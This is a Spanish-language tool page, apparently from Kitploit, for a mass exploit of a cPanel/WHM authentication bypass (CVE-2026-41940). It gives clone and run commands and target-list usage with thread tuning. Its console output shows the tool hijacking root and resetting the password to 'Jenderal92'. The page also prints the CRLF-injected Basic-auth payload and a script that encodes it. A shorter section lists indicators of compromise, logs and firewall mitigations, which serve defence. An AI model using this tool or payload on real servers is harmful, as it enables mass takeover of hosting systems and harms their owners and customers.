CVE-2026-41940 — Escáner masivo y herramienta de explotación masiva para CVE-2026-41940 en cPanel/WHM, diseñada para validación automatizada de objetivos y ejecución de alta velocidad con múltiples hilos. | Kitploit

# Clonar repositorio
git clone https://github.com/Jenderal92/CVE-2026-41940.git
cd CVE-2026-41940

# Instalar dependencias
pip install -r requirements.txt

# Hacer ejecutable (Linux/Mac)
chmod +x CVE-2026-41940.py

Argumento	Descripción	Predeterminado	Requerido
`list_file`	Archivo que contiene la lista de objetivos (uno por línea)	-	✅ Sí
`--threads`	Número de hilos concurrentes	15	❌ No
`--hostname`	Sobrescribe el encabezado Host para todos los objetivos	Auto-descubrir	❌ No
`--timeout`	Tiempo de espera de conexión en segundos	15	❌ No

$ python2 CVE-2026-41940.py targets.txt --threads 10

 CVE-2026-41940 bypass authentication - Mass Exploit

[*] Cargados 4 objetivos
[*] Iniciando exploit con 10 hilos...
[*] Tiempo de espera: 15 segundos
[*] Nota: http:// se añadirá automáticamente si falta
[*] SOLO los objetivos con cambios de contraseña confirmados se guardarán en res.txt
[*] Los objetivos con errores de licencia, problemas de conexión o cambios de contraseña fallidos serán EXCLUIDOS

==================================================

[*] Verificando objetivo: 127.0.0.1
    Entrada original: 127.0.0.1
    Normalizado: https://127.0.0.1:2087
    Puerto 2087: ABIERTO
    Probando conexión... OK (HTTP 200)

[0] hostname = example.com
[1] creando una sesión de preautenticación...
    base de sesión = :d5nPe99Nx9HQdMu2
[2] enviando la inyección CRLF...
    HTTP 307, token filtrado = /cpsess0488087910
[3] ejecutando do_token_denied para propagar...
    HTTP 401, gadget disparado
[4] verificando que somos root de WHM...
    /json-api/version -> HTTP 200  {"version":"11.118.0.13"}
[*] intentando cambiar la contraseña de root
    passwd -> HTTP 200
    {
      "data": {
        "app": ["system"]
      },
      "metadata": {
        "output": {
          "raw": "Password for \"root\" has been changed."
        },
        "reason": "Password changed for user \"root\".",
        "version": 1,
        "command": "passwd",
        "result": 1
      }
    }
[+] Cambio de contraseña confirmado (metadata.result=1)
[+] ✓ Contraseña de root cambiada exitosamente a 'Jenderal92'!

[✓] ÉXITO Y GUARDADO: 127.0.0.1:2087
    Guardado en res.txt: 127.0.0.1:2087|root|Jenderal92

==================================================
[*] ¡Escaneo completado!
[*] Objetivos con contraseñas cambiadas exitosamente: 1 de 4

[+] Resultados guardados en res.txt

Objetivos explotados exitosamente (contraseña cambiada a Jenderal92):
  ✓ 127.0.0.1:2087

Envía una solicitud GET con encabezado Authorization: Basic que contiene un payload malicioso

El payload en Base64 se descodifica como:

root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1

Los caracteres CRLF (\r\n) inyectan parámetros de sesión falsos
Esto engaña al servidor haciéndole creer que la autenticación fue exitosa
El servidor responde con HTTP 307 y un encabezado Location que contiene el cp_security_token

Indicador	Descripción
Cookie `whostmgrsession` anómala	Patrones de cookie inusuales sin autenticación adecuada
Caracteres CRLF en encabezados	Detección de secuencias `\r\n` en encabezados HTTP
Acceso a `/scripts2/listaccts`	Acceso no autorizado a esta ruta
Contraseña `Jenderal92`	Inicio de sesión exitoso usando esta contraseña específica
Fuga de token `cpsess`	Token de seguridad visible en el encabezado Location
Inicio de sesión fallido seguido de éxito	POST a `/login/?login_only=1` con contraseña incorrecta, luego acceso privilegiado

# Registro de acceso de WHM
/usr/local/cpanel/logs/access_log

# Registro de errores de cPanel
/usr/local/cpanel/logs/error_log

# Registro de autenticación
/var/log/secure

# Mensajes del sistema
/var/log/messages

Actualice WHM/cPanel a la versión parcheada más reciente inmediatamente
```
/usr/local/cpanel/scripts/upcp
```
Habilite la Autenticación de Dos Factores (2FA) para todas las cuentas, especialmente root
```
WHM → Centro de Seguridad → Autenticación de Dos Factores
```
Restrinja el acceso a WHM con listas blancas de IP
```
WHM → Centro de Seguridad → Control de Acceso de Host
```
Monitoree los registros de acceso regularmente en busca de patrones sospechosos
```
tail -f /usr/local/cpanel/logs/access_log | grep -E "(listaccts|passwd|login_only)"
```
Cambie todas las contraseñas si se sospecha de un compromiso

Use reglas de firewall para restringir el acceso al puerto 2087

# Permitir solo IPs de confianza
iptables -A INPUT -p tcp --dport 2087 -s TU_IP_CONFIABLE -j ACCEPT
iptables -A INPUT -p tcp --dport 2087 -j DROP

# O usar el firewall CSF/LFD
csf -a TU_IP_CONFIABLE

Implemente reglas WAF para detectar intentos de inyección CRLF
Auditorías de seguridad regulares de las instalaciones de WHM/cPanel

# targets.txt puede contener varios formatos:
https://server1.com:2087
http://server2.com:2087
server3.com:2087
127.0.0.1:2087
10.0.0.50

# Todos se normalizarán automáticamente
python2 CVE-2026-41940.py targets.txt --threads 15

# Para muchos objetivos con buena conectividad
python2 CVE-2026-41940.py targets.txt --threads 30 --timeout 10

# Para conexiones poco fiables
python2 CVE-2026-41940.py targets.txt --threads 5 --timeout 45

import base64

# Payload personalizado
payload = """root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1"""

encoded = base64.b64encode(payload.encode())
print(encoded)

✅ Explotación Masiva	Escanea y explota múltiples objetivos desde un archivo de lista
🚀 Multihilo	Número de hilos configurable para escaneo más rápido (predeterminado: 15)
🔐 Cambio Automático de Contraseña	Cambia la contraseña de root a `Jenderal92` tras una explotación exitosa
🛡️ Detección Inteligente de Éxito	Detecta automáticamente varios formatos de respuesta de la API de WHM
⚠️ Filtrado de Errores de Licencia	Excluye objetivos con errores de licencia inválida/no se puede leer
📝 Salida Estructurada	Guarda solo los éxitos confirmados en formato `dominio:puerto
🛡️ Soporte SSL/TLS	Maneja certificados autofirmados automáticamente
🔄 Gestión de Sesiones	Extracción automática de sesiones, inyección de cookies y manejo de tokens
⏱️ Control de Tiempo de Espera	Tiempo de espera de conexión configurable (predeterminado: 15 segundos)
🔍 Verificación Pre-conexión	Verifica la disponibilidad del puerto antes del intento de explotación
📊 Progreso en Tiempo Real	Muestra progreso detallado para cada etapa de explotación

CVE-2026-41940

Más Populares

CVE-2026-41940 - Explotación Masiva de Omisión de Autenticación en WHM/cPanel

📋 Descripción

🎯 Características Principales

📦 Requisitos

📥 Instalación

🚀 Uso

1. Preparar Archivo de Objetivos

2. Ejecutar el Exploit

Uso Básico (Configuración Predeterminada)

Uso Multihilo

Nombre de Host Personalizado

Tiempo de Espera Personalizado

📊 Argumentos de Línea de Comandos

📁 Formato de Salida

Archivo de Resultados (res.txt)

Escenarios Excluidos

Salida en Consola

🔬 Cómo Funciona el Exploit

Etapa 1: Sesión de Preautenticación

Etapa 2: Ataque de Inyección CRLF

Etapa 3: Propagación de Sesión

Etapa 4: Verificación y Cambio de Contraseña

Filtrado Automático

🛡️ Detección y Mitigación

Indicadores de Compromiso (IOCs)

Registros a Monitorear

Pasos de Mitigación

📝 Ejemplos de Uso en Diferentes Escenarios

Escenario 1: Prueba de un Solo Objetivo

Escenario 2: Auditoría Masiva de Servidores

Escenario 3: Red Lenta/Larga Distancia

Escenario 4: Nombre de Host Personalizado Detrás de Proxy/Balanceador de Carga

Escenario 5: Objetivos con Puertos Mixtos

⚙️ Solución de Problemas

Error: "module 'urllib' has no attribute 'urlsplit'"

Error: "Connection refused - target unreachable"

Error: "/login didn't issue a whostmgrsession cookie"

Rendimiento Lento del Escaneo

Errores de Licencia en la Salida

🔧 Configuración Avanzada

Modificación de Payload Personalizado

Contraseña Personalizada

Ajuste de Detección de Éxito

🤝 Contribuciones

Directrices de Desarrollo

⭐ Historial de Estrellas

❗ FAQ

📌 Notas Importantes

⚠️ AVISO LEGAL

Archivo de Resultados (`res.txt`)